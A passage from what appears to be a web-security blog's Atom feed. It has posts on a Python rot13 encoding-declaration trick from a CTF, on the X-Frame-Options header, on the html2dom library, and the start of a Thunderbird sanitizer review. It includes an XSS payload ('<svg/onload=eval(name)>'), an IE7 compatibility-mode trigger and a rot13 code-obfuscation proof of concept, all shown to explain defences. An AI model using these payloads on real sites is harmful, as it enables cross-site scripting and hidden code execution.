&lt;a href="http://incompleteness.me/blog/2014/04/24/combatting-self-xss-part-2/"&gt;3&lt;/a&gt;)
but I'd argue that the average Mozillian should be careful enough &lt;em&gt;not&lt;/em&gt;
to click links that start with &lt;code&gt;javascript:&lt;/code&gt; ;)&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I have modified a few bits so the exploit doesn't properly apply to
the phonebook. Script kiddie protection.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;I swear it was only 11 when I started writing this blog post. Also,
modulo a false positive: One person had a monkey in their description before
I started this.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="misc"></category></entry><entry><title>Tales of Python's Encoding</title><link href="https://frederik-braun.com/rot13-encoding-in-python.html" rel="alternate"></link><published>2014-03-17T00:00:00+01:00</published><updated>2014-03-17T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2014-03-17:/rot13-encoding-in-python.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This article was also published in the third issue of the &lt;a href="https://startpage.com/do/search?query=%22International%20Journal%20of%20PoC%20||%20GTFO%22"&gt;International Journal of PoC || GTFO&lt;/a&gt;. This is my submission after editorial "grooming" and "[dressing] in the best Sunday clothes of proper church English" :-)&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Many beginners of Python have suffered at the hand of the almighty SyntaxError. One of the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This article was also published in the third issue of the &lt;a href="https://startpage.com/do/search?query=%22International%20Journal%20of%20PoC%20||%20GTFO%22"&gt;International Journal of PoC || GTFO&lt;/a&gt;. This is my submission after editorial "grooming" and "[dressing] in the best Sunday clothes of proper church English" :-)&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Many beginners of Python have suffered at the hand of the almighty SyntaxError. One of the less
frequently seen, yet still not uncommon instances is something like the following, which appears when
Unicode or other non-ASCII characters are used in a Python script.&lt;/p&gt;
&lt;pre&gt;
SyntaxError: Non-ASCII character ... in ..., but no encoding declared;
see http://www.python.org/peps/pep-0263.html for details
&lt;/pre&gt;

&lt;p&gt;The common solution to this error is to place this magic comment as the first or second line of your
Python script. This tells the interpreter that the script is written in UTF8, so that it can properly parse the
file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# encoding: utf-8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I have stumbled upon the following hack many times, but I have yet to see a complete write-up in our
circles. It saddens me that I can’t correctly attribute this trick to a specific neighbor, as I have forgotten
who originally introduced me to this hackery. But hackery it is.&lt;/p&gt;
&lt;h3&gt;The background&lt;/h3&gt;
&lt;p&gt;Each October, the neighborly &lt;a href="https://fluxfingers.net"&gt;FluxFingers&lt;/a&gt; team hosts &lt;a href="hack.lu"&gt;hack.lu&lt;/a&gt;’s CTF competition in Luxembourg. Just last
year, I created a tiny challenge for this CTF that consists of a single file called “packed” which was supposed
to contain some juicy data. As with every decent CTF task, it has been written up on a few blogs. To my
distress, none of those summaries contains the full solution.
The challenge was in identifying the hidden content of the file, of which there were three. Using the liberal
interpretation of the PDF format&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;, one could place a document at the end of a Python script, enclosed in
multi-line string quotes&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;.
The Python script itself was surrounded by weird unprintable characters that make rendering in command
line tools like &lt;code&gt;less&lt;/code&gt; or &lt;code&gt;cat&lt;/code&gt; rather unenjoyable. What most people identified was an encoding hint.&lt;/p&gt;
&lt;pre&gt;
00000a0: 0c0c 0c0c 0c0c 0c0c 2364 6973 6162 6c65  ........#disable
00000b0: 642d 656e 636f 6469 6e67 3a09 5f72 6f74  d-encoding:._rot
...
0000180: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
0000190: 3133 037c 1716 0803 2010 1403 1e1b 1511  13.|.... .......
&lt;/pre&gt;

&lt;p&gt;Despite the unprintables, the long range of underscores didn’t really fend off any serious adventurer. The
following content therefore had to be rot13 decoded. The rest of the challenge made up a typical crackme.
Hoping that the reader is entertained by a puzzle like this, the remaining parts of that crackme will be left
as an exercise.
The real trick was sadly never discovered by any participant of the CTF. The file itself was not a PDF that
contained a Python script, but a python script that contained a PDF. The whole file is actually executable
with your python interpreter!
Due to this hideous encoding hint, which is better known as a magic comment,&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt; the python interpreter
will fetch the codec’s name using a quite liberal regex to accept typical editor settings, such as “vim: set
fileencoding=foo” or “-*- coding: foo”. With this codec name, the interpreter will now import a python file
with the matching name&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt; and use it to modify the existing code on the fly.&lt;/p&gt;
&lt;h3&gt;The PoC&lt;/h3&gt;
&lt;p&gt;Recognizing that the &lt;code&gt;cevag&lt;/code&gt; is the Rot13 encoding of Python’s print command, it’s easy to test this strange
behavior.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;% cat poc.py&lt;/span&gt;
#!&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;
#&lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rot13&lt;/span&gt;
&lt;span class="n"&gt;cevag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;’Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;World’&lt;/span&gt;
&lt;span class="c"&gt;% ./poc.py&lt;/span&gt;
&lt;span class="n"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;World&lt;/span&gt;
&lt;span class="c"&gt;%&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Caveats&lt;/h3&gt;
&lt;p&gt;Sadly, this only works in Python versions 2.X, starting with 2.5. My current test with Python 3.3 yields first
an unknown encoding error (the “rot13” alias has sadly been removed, so that only “rot-13” and “rot_13”
could work). But Python 3 also distinguishes &lt;code&gt;strings&lt;/code&gt; from &lt;code&gt;bytearrays&lt;/code&gt;, which leads to type errors when
trying this PoC in general. Perhaps &lt;code&gt;rot_13.py&lt;/code&gt; in the python distribution itself might be broken?
There are numerous other formats to be found in the encodings directory, such as ZIP, BZip2 and Base64,
but I’ve been unable to make them work. Most lead to padding and similar errors, but perhaps a clever
reader can make them work.
And with this, I close the chapter of Python encoding stories:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;TGSB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;As
seems to be mentioned in every PoC||GTFO issue, the header doesn’t need to appear exactly at the file’s beginning, but
within the first 1,024 bytes.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;code&gt;"""This is a multiline Python string.
It has three quotes."""&lt;/code&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;See &lt;a href="http://www.python.org/dev/peps/pep-0263/"&gt;Python PEP 0263, Defining Python Source Code Encodings&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;See /usr/lib/python2.7/encoding/__init__.py near line 99&amp;#160;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="misc"></category></entry><entry><title>On the X-Frame-Options Security Header</title><link href="https://frederik-braun.com/x-frame-options-security-header.html" rel="alternate"></link><published>2013-12-12T00:00:00+01:00</published><updated>2013-12-12T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2013-12-12:/x-frame-options-security-header.html</id><summary type="html">&lt;p&gt;This blog post &lt;em&gt;about X-Frame-Options&lt;/em&gt; was originally published on the &lt;a href="https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/"&gt;Mozilla Security Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A few weeks ago, &lt;a href="http://heideri.ch/"&gt;Mario Heiderich&lt;/a&gt; and I published a &lt;a href="https://frederik-braun.com/xfo-clickjacking.pdf" title="X-Frame-Options: All about Clickjacking?"&gt;white paper&lt;/a&gt; about the &lt;a href="http://tools.ietf.org/html/rfc7034" title="RFC7034"&gt;X-Frame-Options security header&lt;/a&gt;. In this blog post, I want to summarize the key arguments for settings this security header in your web application …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This blog post &lt;em&gt;about X-Frame-Options&lt;/em&gt; was originally published on the &lt;a href="https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/"&gt;Mozilla Security Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A few weeks ago, &lt;a href="http://heideri.ch/"&gt;Mario Heiderich&lt;/a&gt; and I published a &lt;a href="https://frederik-braun.com/xfo-clickjacking.pdf" title="X-Frame-Options: All about Clickjacking?"&gt;white paper&lt;/a&gt; about the &lt;a href="http://tools.ietf.org/html/rfc7034" title="RFC7034"&gt;X-Frame-Options security header&lt;/a&gt;. In this blog post, I want to summarize the key arguments for settings this security header in your web application.&lt;/p&gt;
&lt;p&gt;X-Frame-Options is an optional HTTP response header that was introduced in 2008 and found its first implementation in Internet Explorer 8. Setting this header in your web application defines if it works within a frame element (e.g., &lt;code&gt;iframe&lt;/code&gt;). The syntax for this header provides three options, ALLOW-FROM, DENY or SAMEORIGIN. Not sending this header implies allowing frames in general. ALLOW-FROM, however, allows whitelisting a specific &lt;a href="http://tools.ietf.org/html/rfc6454#section-3.2.1" title="An origin is the scheme, host and the (optional) port of a URI"&gt;origin&lt;/a&gt;. The opposite is, of course, DENY which means that no website is ever allowed to display your website in a frame. A common middle ground is to send SAMEORIGIN. This means that only websites of the &lt;a href="http://tools.ietf.org/html/rfc6454#section-3.2.1" title="Being same-origin means having the same scheme, host and port"&gt;same origin&lt;/a&gt; may frame it.&lt;/p&gt;
&lt;p&gt;This blog post will highlight some attacks than can be thwarted by forbidding the framing of your document. First of all, &lt;strong&gt;Clickjacking&lt;/strong&gt;. This term has gained major attention in 2008 and includes a multitude of techniques in which an evil web page can secretly include yours in a frame. But the author of this evil website will make your website transparent and present buttons on top of it. Anyone visiting this evil page will then click on something seemingly unrelated, which will actually result in mouse clicks in your web application.&lt;/p&gt;
&lt;p&gt;A wide class of attacks on other websites leverage missing security features in the browser. Most modern browsers provide hardened security mechanisms that may easily thwart problems with content injections. The problem lies, as so often, in &lt;a href="http://msdn.microsoft.com/en-us/library/jj676915%28v=vs.85%29.aspx" title="Microsoft explains legacy document modes"&gt;backwards compatibility.&lt;/a&gt; The most recent browser versions are obviously more secure than the previous ones. But when somebody frames your website, they can tell it to run in a &lt;strong&gt;compatibility mode&lt;/strong&gt;. This feature only applies to Internet Explorer, but it will bring back the vintage rendering algorithms from IE7 (2006). In Internet Explorer, the &lt;em&gt;document mode&lt;/em&gt; is inherited from the top window to all frames. If the evil websites runs in IE7 compatibility mode, then so does yours! This is an example of how IE7 compatibility can be triggered in any website:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;meta http-equiv="X-UA-Compatible" content="IE=7" /&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If your website would not allow to be framed, your IE users were not at risk.&lt;/p&gt;
&lt;p&gt;Another technique for possible attackers comes with &lt;strong&gt;window.name&lt;/strong&gt;. This attribute of your browsing window (a tab, a popup and a frame are all windows in JavaScript's sense) &lt;strong&gt;can be set by others&lt;/strong&gt; and you cannot prevent it. The implications of this are manifold, but just for the sake of &lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting" title="as explained in the Wikipedia"&gt;&lt;strong&gt;Cross-Site-Scripting&lt;/strong&gt; (XSS)&lt;/a&gt; attacks it may make things for an attacker much easier. Sometimes, when an attacker is able to inject and execute scripts on your web page, he might be hindered by a length restriction. Say, for example, your website does not allow names that exceed 80 characters. Or messages that must not exceed 140. The window.name property can help bypassing these restriction in a very easy way. The attacker can just &lt;a href="#" title="I hope you notice a pattern here"&gt;frame your website &lt;/a&gt;and give it a name of his liking, by supplying it in the frame's &lt;code&gt;name&lt;/code&gt; attribute. The JavaScript he will then execute can be as short as &lt;code&gt;&amp;lt;svg/onload=eval(name)&amp;gt;&lt;/code&gt;, which means that it will execute the JavaScript specified in the name attribute of the frame element.&lt;/p&gt;
&lt;p&gt;These and &lt;a href="https://frederik-braun.com/xfo-clickjacking.pdf" title="Interested? Read the full document."&gt;many other attacks&lt;/a&gt; are possible if you allow your web page to be displayed in a frame. Just recently, Isaac Dawson from Veracode has published a &lt;a href="http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/"&gt;report about security headers&lt;/a&gt; on the top 1 million websites, which shows, that only 30,000 of them currently supply this header. However, the fact that many other sites are vulnerable to these sort of attacks is not a good reason to leave your website unprotected. You can easily address many security problems by just adding this simple header to your web application right away: If you're using Django, check out the &lt;a href="https://docs.djangoproject.com/en/dev/ref/clickjacking/#" title="Django X-Frame-Options"&gt;XFrameOptionsMiddleware&lt;/a&gt;. For NodeJS applications, you can use the &lt;a href="https://npmjs.org/package/helmet"&gt;helmet library&lt;/a&gt; to add security headers. If you want to set this header directly from within Apache or nginx, just take a look at the &lt;a href="https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options"&gt;X-Frame-Options article on MDN&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>html2dom</title><link href="https://frederik-braun.com/html2dom.html" rel="alternate"></link><published>2013-09-24T00:00:00+02:00</published><updated>2013-09-24T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2013-09-24:/html2dom.html</id><summary type="html">&lt;p&gt;I originally blogged about &lt;em&gt;html2dom&lt;/em&gt; on the &lt;a href="https://blog.mozilla.org/security/2013/09/24/introducing-html2dom-an-alternative-to-setting-innerhtml/"&gt;Mozilla Security Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Having spent significant time to &lt;a href="https://wiki.mozilla.org/Security/Reviews/Gaia"&gt;review the source code of some Firefox OS core apps&lt;/a&gt;, I noticed that a lot of developers like to use &lt;code&gt;innerHTML&lt;/code&gt; (or &lt;code&gt;insertAdjacentHTML&lt;/code&gt;). It is indeed a useful API to insert HTML from a given …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I originally blogged about &lt;em&gt;html2dom&lt;/em&gt; on the &lt;a href="https://blog.mozilla.org/security/2013/09/24/introducing-html2dom-an-alternative-to-setting-innerhtml/"&gt;Mozilla Security Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Having spent significant time to &lt;a href="https://wiki.mozilla.org/Security/Reviews/Gaia"&gt;review the source code of some Firefox OS core apps&lt;/a&gt;, I noticed that a lot of developers like to use &lt;code&gt;innerHTML&lt;/code&gt; (or &lt;code&gt;insertAdjacentHTML&lt;/code&gt;). It is indeed a useful API to insert HTML from a given string without hand-crafting objects for each and every node you want to insert into the DOM.
The dilemma begins however, when this is not a hardcoded string but something which is constructed dynamically. If the string contains user input (or something from a malicious third-party - be it app or website), it may as well insert and change application logic (Cross-Site Scripting): The typical example would be a &lt;code&gt;&amp;amp;lt;script&amp;gt;&lt;/code&gt; tag that runs code on the attacker's behalf and reads, modifies or forwards the current content to a third-party. &lt;a href="https://developer.mozilla.org/en/docs/Security/CSP" title="Content Security Policy"&gt;CSP&lt;/a&gt;, which we use in Firefox OS, can only mitigate some of these attacks, but &lt;a href="http://lcamtuf.blogspot.de/2011/12/notes-about-post-xss-world.html"&gt;certainly not all&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;Using innerHTML is bad (Hint: DOM XSS)&lt;/h4&gt;
&lt;p&gt;What's also frustrating about these pieces of code is that analyzing it requires you to manually trace every function call and variable back to its definition to see whether it is indeed tainted by user input.&lt;/p&gt;
&lt;p&gt;With code changing frequently those reviews don't really scale. One possible approach is to avoid using &lt;code&gt;innerHTML&lt;/code&gt; for good. Even though this idea sounds a bit naive, I have dived into the world of automated HTML parsing and code generation to see how feasible it is.&lt;/p&gt;
&lt;h4&gt;Enter html2dom&lt;/h4&gt;
&lt;p&gt;For the sake of experimentation (and solving this neatly self-contained problem), I have created &lt;a href="https://github.com/freddyb/html2dom"&gt;html2dom&lt;/a&gt;. html2dom is a tiny library that accepts a HTML string and returns alternative JavaScript source code. Example:
&lt;code&gt;&amp;lt;p id="greeting"&amp;gt;Hello &amp;lt;b&amp;gt;World&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Will yield this (as a string).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;docFragment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createDocumentFragment&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// this fragment contains all DOM nodes&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;greeting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;greeting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;greeting&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;docFragment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;greeting&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createTextNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;greeting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;B&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;greeting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text_0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createTextNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;World&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text_0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see, html2dom tries to use meaningful variable names to make the code readable. If you want, you can try the &lt;a href="http://freddyb.github.io/html2dom/"&gt;demo here&lt;/a&gt;. Now we could also just replace the &lt;code&gt;"World"&lt;/code&gt; string with a JavaScript variable. It cannot do any harm as it is always rendered as text.&lt;/p&gt;
&lt;h4&gt;When it comes to HTML parsers, you &lt;em&gt;also&lt;/em&gt; don't want to write your own.&lt;/h4&gt;
&lt;p&gt;Luckily, there are numerous very useful APIs which helped making the development of html2dom fairly easy. First there is the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMParser"&gt;DOMParser API&lt;/a&gt; which took care about all HTML parsing. Using the DOM tree output, I could just iterate over all nodes and their children to emit a specific piece of JavaScript depending on its type (e.g., HTML or Text). For this, the &lt;a href="https://developer.mozilla.org/en-US/docs/DOM/Document.createNodeIterator"&gt;nodeIterator&lt;/a&gt; turned out really valuable.&lt;/p&gt;
&lt;p&gt;I have also written a few &lt;a href="http://freddyb.github.io/html2dom/tests/tests.html"&gt;unit tests&lt;/a&gt;, so if you want to start messing with my code, I suggest you start by checking them out right away.&lt;/p&gt;
&lt;h4&gt;Known Bugs &amp;amp; Security&lt;/h4&gt;
&lt;p&gt;This tool doesn't really save you from all of your troubles. But if you can, make sure that the user input is always somewhere in a text node, then html2dom can prevent you from a great deal of harm. &lt;a href="http://freddyb.github.io/html2dom/"&gt;Give it a try!&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;On the horizon&lt;/h4&gt;
&lt;p&gt;I have also been looking at attempts to rewrite potentially dangerous JavaScript automatically. This is at an early stage and still experimental but you can look at a &lt;a href="http://people.mozilla.com/%7Efbraun/falafler/"&gt;prototype&lt;/a&gt; here&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Security Review: HTML sanitizer in Thunderbird</title><link href="https://frederik-braun.com/secreview-750436.html" rel="alternate"></link><published>2013-07-22T00:00:00+02:00</published><updated>2013-07-22T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2013-07-22:/secreview-750436.html</id><summary type="html">&lt;p&gt;I spent a few days working on a &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=750436"&gt;security review for
Thunderbird's HTML sanitizer&lt;/a&gt;.
Thunderbird has three presets for viewing mail: Original HTML, Simple
HTML, and Plain Text. No matter which preset the user prefers, emails
should not execute JavaScript. And this is where the HTML sanitizer
joins our party …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I spent a few days working on a &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=750436"&gt;security review for
Thunderbird's HTML sanitizer&lt;/a&gt;.
Thunderbird has three presets for viewing mail: Original HTML, Simple
HTML, and Plain Text. No matter which preset the user prefers, emails
should not execute JavaScript. And this is where the HTML sanitizer
joins our party.&lt;/p&gt;
&lt;p&gt;This security review was discussed in one of my first weeks at Mozilla
and though being &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=704482"&gt;a very interesting topic&lt;/a&gt;, it soon occured to me that
I might have bitten off more than I could chew. So the security review got
stuck in my queue and I finally dared to take a stab at it months later.
(Thanks to those fellow Mozillians who helped me getting started!)&lt;/p&gt;
&lt;h4&gt;The key lesson about HTML sanitizers is: Don't even consider writing your own.&lt;/h4&gt;
&lt;p&gt;So without further ado, I started collecting bits and pieces together.
First I required &lt;a href="https://developer.mozilla.org/en-US/docs/Simple_Thunderbird_build"&gt;creating a recent build of Thunderbird&lt;/a&gt;. Then I looked into &lt;a href="https://developer.mozilla.org/en/docs/Writing_xpcshell-based_unit_tests"&gt;XPCShell tests&lt;/a&gt;
(unit tests using Mozilla's privileged JavaScript libraries) and the &lt;a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIParserUtils#sanitize"&gt;nsIParserUtils interface&lt;/a&gt;.
My next step was writing a basic sanitizer call, and it turned out comparably
easy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Cc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;@mozilla.org/parserutils;1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;getService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Ci&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nsIParserUtils&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sanitizeFlags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SanitizerCidEmbedsOnly&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SanitizerDropForms&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;ParserUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SanitizerDropNonCSSPresentation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
